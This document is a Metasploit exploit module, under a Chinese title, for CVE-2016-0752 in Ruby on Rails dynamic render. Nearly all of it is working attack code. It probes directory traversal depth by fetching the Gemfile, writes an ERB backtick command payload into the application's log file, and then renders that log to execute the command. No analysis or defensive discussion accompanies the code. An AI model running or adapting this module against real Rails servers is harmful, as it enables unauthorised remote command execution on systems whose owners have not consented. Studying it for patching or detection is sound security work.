Rails Dynamic Render 远程命令执行漏洞 (CVE-2016-0752)

                                                require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  @@trav_string = '%5c%2e%2e%2f'

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Dynamic Render Directory Traversal + Code Exec',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in the explicit render
        method when leveraging user parameters.
        This module has been tested across multiple versions of RoR 3.x and RoR 4.x
        The technique used by this module requires the specified endpoint to be using
        dynamic render paths, such as the following example:
        def show
          render params[:id]
        end
      },
      'Author'         =>
        [
          'John Poulin (forced-request)'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'ruby',
      'Arch'           => ARCH_CMD,
      'Payload'        => 
      {
        'Compat'          =>
          {
            'PayloadType'   => 'cmd',
            'RequiredCmd' => 'generic perl telnet'
          }
      },
      'Privileged'     => true,
     'Targets'        =>
      [
        [ 'CMD',
          {
          'Arch' => ARCH_CMD,
          'Platform' => 'unix'
          }
        ]
      ],
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/user"]),
        OptString.new('LOGFILE', [ true, 'The environment\'s log file', 'log%2fdevelopment%2elog']),
        OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT'] ]),
        OptString.new('COOKIES', [ false, 'HTTP headers, including auth headers and cookies', ''])
      ], self.class)
  end

  def vuln
    desired_location = 'Gemfile'

    # Initial payload
    p = desired_location

    # Search for depth up to 10 to detect if server is vuln
    11.times do |i|
      res = send_request_cgi({
        'uri'       =>  normalize_uri(datastore['URIPATH'], p),
        'method'    =>  datastore['HTTP_METHOD'],
        'cookie'    =>  datastore['COOKIES']
      }, 60)

      # Check if response contains Gemfile info
      if res.body.match(/^gem /)
        @depth = i
        print_good("It appears that this application is vulnerable")
        return true
      end

      # Prepare next payload
      p = @@trav_string + p
    end
    return false
  end

  def send_payload
    p = datastore['LOGFILE']
    (@depth).times do |i|
      p = @@trav_string + p
    end

    p = p + "?p=%3c%25%20%60" + CGI::escape(payload.encoded) + "%60%25%3e"
    print_status("Sending payload: #{p}")

    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], p),
      'method'    =>  datastore['HTTP_METHOD'],
      'cookie'    =>  datastore['COOKIES']
    }, 60)
  end

  def render_log
    p = datastore['LOGFILE']
    (@depth).times do |i|
      p = @@trav_string + p
    end

    res = send_request_cgi({
      'uri'       =>  normalize_uri(datastore['URIPATH'], p),
      'method'    =>  datastore['HTTP_METHOD'],
      'cookie'    =>  datastore['COOKIES']
    }, 60)
  end

  #
  # Send the actual request
  #
  def exploit
      print_status("Sending initial request to detect exploitability")

      # Check if vulnerable
      if vuln
        print_status("Attempting to exploit")
        
        send_payload
      else
        print_error("Application does not appear vulnerable")
      end
  end
end